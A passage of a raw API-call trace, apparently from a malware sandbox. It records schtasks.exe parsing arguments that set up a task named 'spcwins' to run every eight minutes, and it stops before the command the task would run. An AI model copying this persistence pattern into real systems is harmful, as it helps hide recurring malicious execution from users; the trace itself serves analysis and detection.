_Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.478] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.479] lstrlenW (lpString="|mo|") returned 4 [0129.479] lstrlenW (lpString="|tn|") returned 4 [0129.479] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0129.479] SetLastError (dwErrCode=0x490) [0129.479] lstrlenW (lpString="d") returned 1 [0129.479] lstrlenW (lpString="d") returned 1 [0129.479] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.479] lstrlenW (lpString="tn") returned 2 [0129.479] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.479] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|d|") returned 3 [0129.479] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.479] lstrlenW (lpString="|d|") returned 3 [0129.479] lstrlenW (lpString="|tn|") returned 4 [0129.479] SetLastError (dwErrCode=0x490) [0129.479] lstrlenW (lpString="m") returned 1 [0129.479] lstrlenW (lpString="m") returned 1 [0129.479] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.479] lstrlenW (lpString="tn") returned 2 [0129.479] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.479] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|m|") returned 3 [0129.479] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.479] lstrlenW (lpString="|m|") returned 3 [0129.479] lstrlenW (lpString="|tn|") returned 4 [0129.479] SetLastError (dwErrCode=0x490) [0129.479] lstrlenW (lpString="i") returned 1 [0129.479] lstrlenW (lpString="i") returned 1 [0129.480] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.480] lstrlenW (lpString="tn") returned 2 [0129.480] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.480] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|i|") returned 3 [0129.480] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.480] lstrlenW (lpString="|i|") returned 3 [0129.480] lstrlenW (lpString="|tn|") returned 4 [0129.480] SetLastError (dwErrCode=0x490) [0129.480] lstrlenW (lpString="tn") returned 2 [0129.480] lstrlenW (lpString="tn") returned 2 [0129.480] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.480] lstrlenW (lpString="tn") returned 2 [0129.480] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.480] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.480] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tn|") returned 4 [0129.480] lstrlenW (lpString="|tn|") returned 4 [0129.480] lstrlenW (lpString="|tn|") returned 4 [0129.480] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0129.480] SetLastError (dwErrCode=0x0) [0129.480] SetLastError (dwErrCode=0x0) [0129.480] lstrlenW (lpString="spcwins") returned 7 [0129.480] lstrlenW (lpString="-/") returned 2 [0129.480] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0129.480] SetLastError (dwErrCode=0x490) [0129.480] SetLastError (dwErrCode=0x490) [0129.480] SetLastError (dwErrCode=0x0) [0129.480] lstrlenW (lpString="spcwins") returned 7 [0129.481] StrChrIW (lpStart="spcwins", wMatch=0x3a) returned 0x0 [0129.481] SetLastError (dwErrCode=0x490) [0129.481] SetLastError (dwErrCode=0x0) [0129.481] lstrlenW (lpString="spcwins") returned 7 [0129.481] SetLastError (dwErrCode=0x0) [0129.481] SetLastError (dwErrCode=0x0) [0129.481] lstrlenW (lpString="/sc") returned 3 [0129.481] lstrlenW (lpString="-/") returned 2 [0129.481] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.481] lstrlenW (lpString="create") returned 6 [0129.481] lstrlenW (lpString="create") returned 6 [0129.481] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.481] lstrlenW (lpString="sc") returned 2 [0129.481] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.481] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.481] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.481] lstrlenW (lpString="|create|") returned 8 [0129.481] lstrlenW (lpString="|sc|") returned 4 [0129.481] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.481] SetLastError (dwErrCode=0x490) [0129.481] lstrlenW (lpString="?") returned 1 [0129.481] lstrlenW (lpString="?") returned 1 [0129.481] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.481] lstrlenW (lpString="sc") returned 2 [0129.481] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.481] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|?|") returned 3 [0129.482] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.482] lstrlenW (lpString="|?|") returned 3 [0129.482] lstrlenW (lpString="|sc|") returned 4 [0129.482] SetLastError (dwErrCode=0x490) [0129.482] lstrlenW (lpString="s") returned 1 [0129.482] lstrlenW (lpString="s") returned 1 [0129.482] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.482] lstrlenW (lpString="sc") returned 2 [0129.482] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.482] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|s|") returned 3 [0129.482] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.482] lstrlenW (lpString="|s|") returned 3 [0129.482] lstrlenW (lpString="|sc|") returned 4 [0129.482] SetLastError (dwErrCode=0x490) [0129.482] lstrlenW (lpString="u") returned 1 [0129.482] lstrlenW (lpString="u") returned 1 [0129.482] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.482] lstrlenW (lpString="sc") returned 2 [0129.482] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.482] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|u|") returned 3 [0129.482] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.482] lstrlenW (lpString="|u|") returned 3 [0129.482] lstrlenW (lpString="|sc|") returned 4 [0129.482] SetLastError (dwErrCode=0x490) [0129.482] lstrlenW (lpString="p") returned 1 [0129.482] lstrlenW (lpString="p") returned 1 [0129.482] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] lstrlenW (lpString="sc") returned 2 [0129.483] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|p|") returned 3 [0129.483] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.483] lstrlenW (lpString="|p|") returned 3 [0129.483] lstrlenW (lpString="|sc|") returned 4 [0129.483] SetLastError (dwErrCode=0x490) [0129.483] lstrlenW (lpString="ru") returned 2 [0129.483] lstrlenW (lpString="ru") returned 2 [0129.483] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] lstrlenW (lpString="sc") returned 2 [0129.483] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ru|") returned 4 [0129.483] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.483] lstrlenW (lpString="|ru|") returned 4 [0129.483] lstrlenW (lpString="|sc|") returned 4 [0129.483] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0129.483] SetLastError (dwErrCode=0x490) [0129.483] lstrlenW (lpString="rp") returned 2 [0129.483] lstrlenW (lpString="rp") returned 2 [0129.483] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] lstrlenW (lpString="sc") returned 2 [0129.483] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.483] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|rp|") returned 4 [0129.484] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.484] lstrlenW (lpString="|rp|") returned 4 [0129.484] lstrlenW (lpString="|sc|") returned 4 [0129.484] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0129.484] SetLastError (dwErrCode=0x490) [0129.484] lstrlenW (lpString="sc") returned 2 [0129.484] lstrlenW (lpString="sc") returned 2 [0129.484] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.484] lstrlenW (lpString="sc") returned 2 [0129.484] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.484] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.484] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.484] lstrlenW (lpString="|sc|") returned 4 [0129.484] lstrlenW (lpString="|sc|") returned 4 [0129.484] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0129.484] SetLastError (dwErrCode=0x0) [0129.484] SetLastError (dwErrCode=0x0) [0129.484] lstrlenW (lpString="MINUTE") returned 6 [0129.484] lstrlenW (lpString="-/") returned 2 [0129.484] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0129.484] SetLastError (dwErrCode=0x490) [0129.484] SetLastError (dwErrCode=0x490) [0129.484] SetLastError (dwErrCode=0x0) [0129.484] lstrlenW (lpString="MINUTE") returned 6 [0129.484] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0129.484] SetLastError (dwErrCode=0x490) [0129.484] SetLastError (dwErrCode=0x0) [0129.485] GetProcessHeap () returned 0x1d0000 [0129.485] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed590 [0129.485] _memicmp (_Buf1=0x1ed590, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.485] lstrlenW (lpString="MINUTE") returned 6 [0129.485] GetProcessHeap () returned 0x1d0000 [0129.485] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ed5b0 [0129.485] lstrlenW (lpString="MINUTE") returned 6 [0129.485] lstrlenW (lpString=" \x09") returned 2 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0129.485] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0129.485] GetLastError () returned 0x0 [0129.485] lstrlenW (lpString="MINUTE") returned 6 [0129.485] lstrlenW (lpString="MINUTE") returned 6 [0129.485] SetLastError (dwErrCode=0x0) [0129.485] SetLastError (dwErrCode=0x0) [0129.485] lstrlenW (lpString="/mo") returned 3 [0129.485] lstrlenW (lpString="-/") returned 2 [0129.485] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.485] lstrlenW (lpString="create") returned 6 [0129.485] lstrlenW (lpString="create") returned 6 [0129.485] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.485] lstrlenW (lpString="mo") returned 2 [0129.485] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.486] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.486] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.486] lstrlenW (lpString="|create|") returned 8 [0129.486] lstrlenW (lpString="|mo|") returned 4 [0129.486] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0129.486] SetLastError (dwErrCode=0x490) [0129.486] lstrlenW (lpString="?") returned 1 [0129.486] lstrlenW (lpString="?") returned 1 [0129.486] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.486] lstrlenW (lpString="mo") returned 2 [0129.486] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.486] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|?|") returned 3 [0129.486] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.486] lstrlenW (lpString="|?|") returned 3 [0129.486] lstrlenW (lpString="|mo|") returned 4 [0129.486] SetLastError (dwErrCode=0x490) [0129.486] lstrlenW (lpString="s") returned 1 [0129.486] lstrlenW (lpString="s") returned 1 [0129.486] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.486] lstrlenW (lpString="mo") returned 2 [0129.486] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.486] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|s|") returned 3 [0129.486] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.486] lstrlenW (lpString="|s|") returned 3 [0129.487] lstrlenW (lpString="|mo|") returned 4 [0129.487] SetLastError (dwErrCode=0x490) [0129.487] lstrlenW (lpString="u") returned 1 [0129.487] lstrlenW (lpString="u") returned 1 [0129.487] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.487] lstrlenW (lpString="mo") returned 2 [0129.487] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.487] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|u|") returned 3 [0129.487] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.487] lstrlenW (lpString="|u|") returned 3 [0129.487] lstrlenW (lpString="|mo|") returned 4 [0129.487] SetLastError (dwErrCode=0x490) [0129.487] lstrlenW (lpString="p") returned 1 [0129.487] lstrlenW (lpString="p") returned 1 [0129.487] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.487] lstrlenW (lpString="mo") returned 2 [0129.487] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.487] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|p|") returned 3 [0129.487] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.487] lstrlenW (lpString="|p|") returned 3 [0129.487] lstrlenW (lpString="|mo|") returned 4 [0129.487] SetLastError (dwErrCode=0x490) [0129.487] lstrlenW (lpString="ru") returned 2 [0129.487] lstrlenW (lpString="ru") returned 2 [0129.487] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.488] lstrlenW (lpString="mo") returned 2 [0129.488] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.488] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ru|") returned 4 [0129.489] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.489] lstrlenW (lpString="|ru|") returned 4 [0129.489] lstrlenW (lpString="|mo|") returned 4 [0129.489] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0129.489] SetLastError (dwErrCode=0x490) [0129.489] lstrlenW (lpString="rp") returned 2 [0129.489] lstrlenW (lpString="rp") returned 2 [0129.489] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.489] lstrlenW (lpString="mo") returned 2 [0129.489] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.489] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|rp|") returned 4 [0129.489] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.490] lstrlenW (lpString="|rp|") returned 4 [0129.490] lstrlenW (lpString="|mo|") returned 4 [0129.490] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0129.490] SetLastError (dwErrCode=0x490) [0129.490] lstrlenW (lpString="sc") returned 2 [0129.490] lstrlenW (lpString="sc") returned 2 [0129.490] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.490] lstrlenW (lpString="mo") returned 2 [0129.490] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.490] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.490] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.490] lstrlenW (lpString="|sc|") returned 4 [0129.490] lstrlenW (lpString="|mo|") returned 4 [0129.490] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0129.490] SetLastError (dwErrCode=0x490) [0129.490] lstrlenW (lpString="mo") returned 2 [0129.490] lstrlenW (lpString="mo") returned 2 [0129.490] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.490] lstrlenW (lpString="mo") returned 2 [0129.490] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.490] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.490] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|mo|") returned 4 [0129.490] lstrlenW (lpString="|mo|") returned 4 [0129.490] lstrlenW (lpString="|mo|") returned 4 [0129.490] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0129.491] SetLastError (dwErrCode=0x0) [0129.491] SetLastError (dwErrCode=0x0) [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] SetLastError (dwErrCode=0x490) [0129.491] SetLastError (dwErrCode=0x0) [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0129.491] SetLastError (dwErrCode=0x490) [0129.491] SetLastError (dwErrCode=0x0) [0129.491] _memicmp (_Buf1=0x1ed590, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] lstrlenW (lpString=" \x09") returned 2 [0129.491] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0129.491] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0129.491] GetLastError () returned 0x0 [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] lstrlenW (lpString="8") returned 1 [0129.491] GetProcessHeap () returned 0x1d0000 [0129.491] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x4) returned 0x1ec230 [0129.491] SetLastError (dwErrCode=0x0) [0129.491] SetLastError (dwErrCode=0x0) [0129.491] lstrlenW (lpString="/tr") returned 3 [0129.491] lstrlenW (lpString="-/") returned 2 [0129.491] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.491] lstrlenW (lpString="create") returned 6 [0129.491] lstrlenW (lpString="create") returned 6 [0129.491] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] lstrlenW (lpString="tr") returned 2 [0129.492] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|create|") returned 8 [0129.492] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.492] lstrlenW (lpString="|create|") returned 8 [0129.492] lstrlenW (lpString="|tr|") returned 4 [0129.492] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.492] SetLastError (dwErrCode=0x490) [0129.492] lstrlenW (lpString="?") returned 1 [0129.492] lstrlenW (lpString="?") returned 1 [0129.492] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] lstrlenW (lpString="tr") returned 2 [0129.492] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|?|") returned 3 [0129.492] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.492] lstrlenW (lpString="|?|") returned 3 [0129.492] lstrlenW (lpString="|tr|") returned 4 [0129.492] SetLastError (dwErrCode=0x490) [0129.492] lstrlenW (lpString="s") returned 1 [0129.492] lstrlenW (lpString="s") returned 1 [0129.492] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] lstrlenW (lpString="tr") returned 2 [0129.492] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.492] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|s|") returned 3 [0129.492] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.493] lstrlenW (lpString="|s|") returned 3 [0129.493] lstrlenW (lpString="|tr|") returned 4 [0129.493] SetLastError (dwErrCode=0x490) [0129.493] lstrlenW (lpString="u") returned 1 [0129.493] lstrlenW (lpString="u") returned 1 [0129.493] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.493] lstrlenW (lpString="tr") returned 2 [0129.493] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.493] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|u|") returned 3 [0129.493] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.493] lstrlenW (lpString="|u|") returned 3 [0129.493] lstrlenW (lpString="|tr|") returned 4 [0129.493] SetLastError (dwErrCode=0x490) [0129.493] lstrlenW (lpString="p") returned 1 [0129.493] lstrlenW (lpString="p") returned 1 [0129.493] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.493] lstrlenW (lpString="tr") returned 2 [0129.493] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.493] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|p|") returned 3 [0129.493] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.493] lstrlenW (lpString="|p|") returned 3 [0129.493] lstrlenW (lpString="|tr|") returned 4 [0129.493] SetLastError (dwErrCode=0x490) [0129.493] lstrlenW (lpString="ru") returned 2 [0129.493] lstrlenW (lpString="ru") returned 2 [0129.493] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] lstrlenW (lpString="tr") returned 2 [0129.494] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|ru|") returned 4 [0129.494] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.494] lstrlenW (lpString="|ru|") returned 4 [0129.494] lstrlenW (lpString="|tr|") returned 4 [0129.494] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0129.494] SetLastError (dwErrCode=0x490) [0129.494] lstrlenW (lpString="rp") returned 2 [0129.494] lstrlenW (lpString="rp") returned 2 [0129.494] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] lstrlenW (lpString="tr") returned 2 [0129.494] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|rp|") returned 4 [0129.494] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.494] lstrlenW (lpString="|rp|") returned 4 [0129.494] lstrlenW (lpString="|tr|") returned 4 [0129.494] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0129.494] SetLastError (dwErrCode=0x490) [0129.494] lstrlenW (lpString="sc") returned 2 [0129.494] lstrlenW (lpString="sc") returned 2 [0129.494] _memicmp (_Buf1=0x1ec210, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] lstrlenW (lpString="tr") returned 2 [0129.494] _memicmp (_Buf1=0x1ec250, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.494] _vsnwprintf (in: _Buffer=0x1ec290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|sc|") returned 4 [0129.495] _vsnwprintf (in: _Buffer=0x1ec270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc468 | out: _Buffer="|tr|") returned 4 [0129.495] lstrlenW (lpString="|sc|") returned 4 [0129.495] lstrlenW (lpString="|tr|") returned 4 [0129.495] StrStrIW (lpFirst="|sc|", 